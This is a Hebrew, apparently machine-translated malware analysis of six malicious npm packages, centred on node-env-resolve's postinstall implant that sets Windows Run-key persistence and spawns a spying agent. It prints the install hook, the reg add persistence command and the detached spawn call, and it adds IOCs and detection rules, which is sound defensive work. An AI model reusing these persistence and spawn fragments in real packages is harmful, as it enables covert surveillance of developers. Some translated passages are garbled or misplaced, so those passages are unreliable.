TL; DR
בין ה-1 באפריל ל-3 במאי 2026, מפרסם npm יחיד, user0001, רשום עם כתובת Gmail שלא אומתה tanvisoul9@gmail.com, דחפה בשקט שש חבילות עם שמות תפלים במכוון שנשמעים כמו תשתית: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, ו node-env-resolve.
שתי הגרסאות האחרונות של node-env-resolve, 1.0.7 ו-1.0.8, סומנו על ידי מערכת האזהרה המוקדמת מפני תוכנות זדוניות (MEW) של Xygeni ב-2 במאי ואושרו כזדוניות ב-3 במאי.
השתל יוצא דופן במה שהוא לא: אין בוטים של טלגרם, אין שיחות חוזרות של OAST, אין ערפול, ואין ניסיון להשיג אישורי AWS בזמן ההתקנה. במקום זאת, postinstall.js שותל ערך אתחול-התמדה של Windows, באמצעות מקש הפעלה של HKCU שמופעל wscript.exe כנגד קובץ VBS stub. לאחר מכן, זה יוצר סוכן Node.js מנותק שמאגד מודולים ללכידת מיקרופון, גניבת היסטוריית דפדפן, צילום מסך וסימולציית עכבר/מקלדת.
אנחנו קוראים לאשכול הזה DevTap, לאחר הערכה שהיא משאירה אותה פועלת על מכונה של מפתח.
כל שש החבילות היו פעילות ב-npm בזמן כתיבת שורות אלה. הגשנו אותן לערוץ ההתעללות של הרישום. על המגנים להסיר כל התקנה מהמפרסם עד להסרה.
האשכול: שש חבילות, מו"ל אחד
חשבון המוציא לאור user0001 לא מאומת. אין לו SCM אימות, ללא דוא"ל קשור לדומיין וללא היסטוריה קודמת. כתובת המזהה של Gmail tanvisoul9 לא מופיע באף רשומת מפרסם npm אחרת שמצאנו.
כל שש החבילות מציגות את אותו מתחזק, פורסמו מאותו חשבון וחולקות את אותו הדבר. package.json סטנדרטי. אין repositoryלא homepage, ולא description ארוך יותר משורה אחת.
אסטרטגיית מתן השמות היא החלק המעניין. בניגוד לקמפיין קלאסי של בלבול תלויות או טיפוסקווט, אף אחד מהשמות הללו לא מכוון לספרייה ספציפית במעלה הזרם. במקום זאת, הם מכוילים להיעלם לתוך ספרייה אמיתית. package.json or npm ls פלט.
| חֲבִילָה | פורסם לראשונה | הגרסה העדכנית ביותר | גרסאות | תפקיד באשכול |
|---|---|---|---|---|
| סנטרלוגר | 2026-04-01 12:46 UTC | 1.0.9 | 5, מ-1.0.5 עד 1.0.9 | כריכת "כלי הלוגים" של אשכול; פרסום מוקדם ביותר |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | כיסוי גנרי לעזרת DOM |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | מחקה את משפחת node-fetch |
| סוכן מחבר | 2026-04-25 05:12 UTC | 1.0.0 | 1 | שם גנרי "סוכן" |
| זמן ריצה של node-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | מחקה כלי בניית מודולים מקוריים |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, מ-1.0.0 עד 1.0.9 | טפטפת אקטיבית; שתל מלא |
שמות כמו centralogger, node-fetch-lite, ו node-gyp-runtime נועדו להיראות בלתי שנויים במחלוקת בסקירת קוד. הם נשמעים כמו דברים שכבר יהיו בעץ התלויות של הפרויקט.
בשילוב עם מפרסם חדש ולא מאומת וקישורים חסרים למאגר, הם יוצרים דפוס מוכר: גורם שזורע שמות בעלי חיכוך נמוך לתוך הרישום, ואז חוזר במהירות על זה שחשוב. במקרה זה, node-env-resolve קיבל עשר גרסאות בשמונה ימים.
מה נוחת על תיבת פיתוח של Windows
השרשרת הזדונית על node-env-resolve:1.0.8 הוא קצר, ישיר, ועשיר בתכונות באופן יוצא דופן עבור RAT npm.
לאחר התקנה: סוכן מנותק וסוכן עקבי
package.json מצהיר על וו התקנה יחיד:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js עושה שלושה דברים לפי הסדר.
ראשית, הוא משלב ספריית התקנה מחוץ לעץ ה-npm. הנתיב מחושב בזמן ריצה בסקריפט כ- INSTALL_DIRלאחר מכן הוא מפעיל מערכת פנימית execSync('npm install --production --silent ...') בתוכו כדי למשוך את תלויות זמן הריצה של השתל. זה שם את הסוכן על דיסק איפשהו במדריך node_modules הביקורת לא תמצא.
שנית, הוא כותב משגר VBS ורושם אותו לצורך שמירה על תקינות אתחול:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe הוא Windows Script Host, קובץ בינארי חתום של מיקרוסופט שפועל .vbs קבצים ללא חלון קונסולה. זה טרוםcisלמה הוא מועדף עבור קבצי סטאב של הפעלה אוטומטית.
יש גם התאמה reg delete נתיב פנימה src/index.js, דבר המצביע על כך שהשתל תוכנן כך שניתן יהיה להסירו בצורה חלקה על פי פקודת המפעיל.
שלישית, זה מוליד תהליך צאצא מנותק:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })שני פרטים חשובים כאן.
SERVER_URL נקרא מהסביבה. כתוצאה מכך, נקודת הקצה של C2 ניתנת להגדרה לכל פריסה ואינה משולבת בחבילה. בחירה קטנה אך מכוונת זו מבטלת את רוב הסריקות הסטטיות של IOC.
כמו כן, הילד שנוצר יורש את סביבת ההורה המלאה. לכן, כל NPM_TOKEN, AWS_*, GITHUB_TOKEN, או שקע סוכן SSH הקיים במעטפת המפתח בזמן ההתקנה עובר לזיכרון של הסוכן בעל החיים.
מה הסוכן שולח איתו
החבילה src/ העץ כולל שלושה מודולים ששמותיהם לבדם מספרים את סיפורם: audioCapture.js, browserHistory.js, ו systemInfo.js.
רשימת התלויות בזמן הריצה, שנפתרה במהלך השלבים npm install, מאשר אותם.
גישה זו הופכת אירוע כאוטי לתגובה מבוקרת.
במקום להגיב בעיוורון, צוותים פועלים עם סדרי עדיפויות ברורים ותיקון מהיר.
| תלות | למה זה נועד בהקשר הזה |
|---|---|
| צילום מסך-שולחן העבודה | צילום מסך תקופתי |
| @nut-tree-fork/nut-js | אוטומציה של עכבר ומקלדת / סימולציית קלט |
| better-sqlite3 | קריאות ישירות של מסדי נתונים של היסטוריה של Chrome, Edge ו-Firefox - SQLite |
| מיקוד-מנהל | אגירת חפצים שנאספו לפני הוצאה |
| חד | שינוי גודל/דחיסה של צילומי מסך ותוצרי תמונה |
| socket.io-client | ערוץ C2 דו-כיווני מתמיד |
| מזהה-מכונה-צומת | טביעת אצבע יציבה לכל מארח למעקב אחר קורבנות |
systemInfo.js שיחות os.networkInterfaces() לטביעת אצבעות נוספת לפני המשואה הראשונה.
למה לכידת האודיו היא האות הבולט
רוב ה-RATs של npm שאנו מדרגים ב-MEW עוצרים בגניבה סודית בזמן ההתקנה. הם קוראים. ~/.npmrc, לקרוא ~/.aws/credentials, לגרד process.env, POST ל-webhook, ויציאה. זה מתאים למודל כלכלי של "סמאש ותפוס". לאישורים יש זמן מחצית חיים קצר, והתוקף צריך להרוויח כסף במהירות.
node-env-resolve שונה בצורתו.
ההתמדה מוגדרת לשרוד אתחול מחדש. הסוכן פועל מנותק ובעל אורך חיים ארוך תחת wscript.exeהערכה שהוא נושא נועדה להיות שם על מחשב של מפתח, לא לתפיסה ולעזיבה: מקליט מיקרופון, דרייבר מקלדת/עכבר, קליטת היסטוריית דפדפן מלאה, צילום מסך וערוץ Socket.IO אינטראקטיבי חזרה ל-C2 הניתן להגדרה.
לכידת מיקרופון בפרט היא הגבול שהקמפיין הזה חוצה, גבול שרוב תוכנות הזדוניות של npm לא עוברות.
תחנת עבודה של מפתחים היא, יותר ויותר, גם תחנת עבודה שבה מפתחים מקבלים הרצאות בעמידה, שיחות לקוחות, דיוני עיצוב וגשרים בכוננות. שתל שמקליט את המיקרופון לא באמת מחפש את אסימון ה-npm של המפתח. הוא מחפש את מה שהמפתח אומר מול המחשב הנייד.
מערך היכולות הזה, בתוספת היעדר ערפול והיעדר כל חילוץ ראוותני בזמן ההתקנה, נקרא כהכנה מוקדמת לגישה ממוקדת ולא לגניבת אישורים אופורטוניסטית.
איננו טוענים ייחוס על סמך זה בלבד. אנו מציינים את הפרופיל התפעולי.

קצב האיטרציה של שמונה ימים ב node-env-resolve הוא הפרט המשמעותי ביותר מבחינה תפעולית בציר הזמן.
זה לא שחרור של "שחק ושכח". המוציא לאור מתחזק באופן פעיל את ה-dropper, מה שבדרך כלל אומר אחד משני דברים. או שהם מכוונים אותו לסביבות בדיקה לפני פריסה רחבה יותר, או שכבר יש להם טלמטריה של ההתקנה והם מגיבים אליה.
חמש החבילות האחרות לא חוו למעשה נטישה לאחר פרסומן הראשוני. זה מתאים לדפוס של "שלב אחד, השאר את השם" עבור אשכול התמיכה, בעוד שמאמצי ההנדסה מתמקדים בחבילה שעושה את העבודה.
ייחוס: רמזים קטנים, אין פסק דין מוצק
הציבור OSINT אותות הם דקים, ולא נמתח אותם. מה ניתן לצפייה:
הכינוי של ג'ימייל tanvisoul9 דומה חלקית לשם פרטי דרום אסייתי, "Tanvi". זהו סימן חלש. שמות המשתמש של Gmail אינם זהות, והשמות הנותרים soul9 הוא כללי. לא בטוח להסיק גיאוגרפיה רק מחלק מקומי של דוא"ל.
סגנון הקוד אינו יוצא דופן ב- Node.js: standard שיחות ספרייה כגון os, child_process, spawn, ו reg addאין ערפול, אין סיבוב מחרוזות ואין לוגיקת אנטי-באגים. המחבר מרגיש בנוח עם פרימיטיבים של רישום Windows ותזמור של תהליכים מנותקים של ילדים, אך נראה שהוא לא שואפים לשיטות עבודה חמקניות יותר שהם יכלו להשתמש בהן באופן סביר.
תלויות הן לגמרי מוכנות לשימוש וידועות היטב: screenshot-desktop, nut-js, better-sqlite3, ו socket.io-clientאין פרוטוקול מותאם אישית, אין מחסנית C2 מבוססת מאפס, ואין טריק חדשני להתמדה מעבר לספר לימוד. מקש הפעלה של HKCUזהו אינטגרטור מוכשר, לא מחבר כלים.
לא מצאנו מחרוזות שאינן באנגלית, הערות מוטמעות, נתוני מקומיים או טביעות אצבעות של אזור זמן בפלט המהדר בתוך הארכיטקטים שפורסמו.
בדקנו אם יש חפיפה בקוד עם קמפיינים קודמים שאנחנו כבר עוקבים אחריהם, כולל שי חולוד, אובליביון, Buildkite, וה-heibai האחרון / claude-code-best משפחת שיבוטים של Anthropic-CLI. לא מצאנו כאלה: לא תבניות C2 משותפות, לא פריסות קבצים משותפות ולא ניבים משותפים.
מה שלא היינו אומרים: שמדובר בגורם מדיני, בקבוצה ידועה, או בקבוצה הקשורה גיאוגרפית למדינה ספציפית כלשהי.
הפרופיל התפעולי תואם צוות קטן ובעל מיומנות בינונית המבצע מעקב אחר עמדת עבודה של מפתחים. סביר להניח שהדבר נובע ממניעים כלכליים באמצעות שימוש במורד הזרם של הגישה, אך ייתכן גם מסיור כשירות עבור קונה נפרד.
שתי נקודות עקיפות תומכות בכך: הימנעות ממכניקות חילוץ מושכות תשומת לב שישרפו את האשכול במהירות, כגון בוטים של טלגרם, oastify.com, או קנריטוקן, ושמות החבילות התפלים במכוון, שמעדיפים התקנות שקטות ארוכות זנב על פני עלייה קצרה בנפח גבוה.
אינדיקטורים של פשרה וגילוי
| חבילות ומוציא לאור | |
|---|---|
| שדה | ערך |
| מו"ל npm | user0001 |
| כתובת הדוא"ל של המוציא לאור | tanvisoul9@gmail.com, לא מאומת |
| מארזים | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| אושר כזדוני | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| חפצי מארח | |
|---|---|
| סוּג | ערך |
| מפתח התמדה | HKCU\תוכנה\מיקרוסופט\חלונות\גרסה נוכחית\הפעלה |
| ערך התמדה | שם משתנה; נתונים בצורה wscript.exe " \\ .vbs" |
| התקנת וו | postinstall: הצומת postinstall.js במניפסט החבילה |
| מודולי שתל | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| ספריית בימוי | INSTALL_DIR נפתר מחוץ ל-node_modules של הפרויקט; מיקום נקבע על ידי postinstall.js בזמן ההתקנה |
| רשת | |
|---|---|
| סוּג | ערך |
| תחבורה C2 | socket.io-client, ערוץ דו-כיווני מתמשך |
| נקודת קצה C2 | מסופק לסוכן דרך משתנה הסביבה SERVER_URL; לא מקודד בקידוד קשיח לתוך ארטיפקטים שפורסמו |
הערות גילוי
שני כללים תופסים את המשפחה הזו מבלי להזדקק לנקודת הקצה C2.
ראשית, סמנו סקריפטים שלאחר ההתקנה שמבצעים בדיקה פנימית npm install לנתיב מחוץ לספרייה של החבילה עצמה. כל הורדת קוד בנייה לגיטימית, כגון node-gyp בונה מחדש או מורידים בינאריים מוכנים מראש, כותב בתוך החבילה או לתוך פלטפורמה-standard נתיבי מטמון עם גיבובים מאומתים. הוא לא כותב לתוך קובץ שנוצר לאחרונה INSTALL_DIR במקום אחר בדיסק.
שנית, סמן סקריפטים שלאחר ההתקנה שגורמים לבעיות reg add HKCU\…\Run עם wscript.exe כמשגר. זה למעשה אף פעם לא לגיטימי מחבילת npm. סמן את זה והכנס את זה לבידוד.
היוריסטיקה שלישית שימושית לאיתור חבילת האחים הבאה לפני שהיא מאושרת: מפרסם npm חדש ללא SCM אימות, אימייל ג'ימייל, לא repository שדה, ומספר שמות חבילה קצרים, גנריים, שנשמעים כמו תשתית, שפורסמו בהפרש של ימים אחד מהשני, מספיקים כשלעצמם כדי להצדיק סקירה ידנית.
דווח לרישום npm. נעדכן פוסט זה כאשר חשבון המפרסם יוסר.






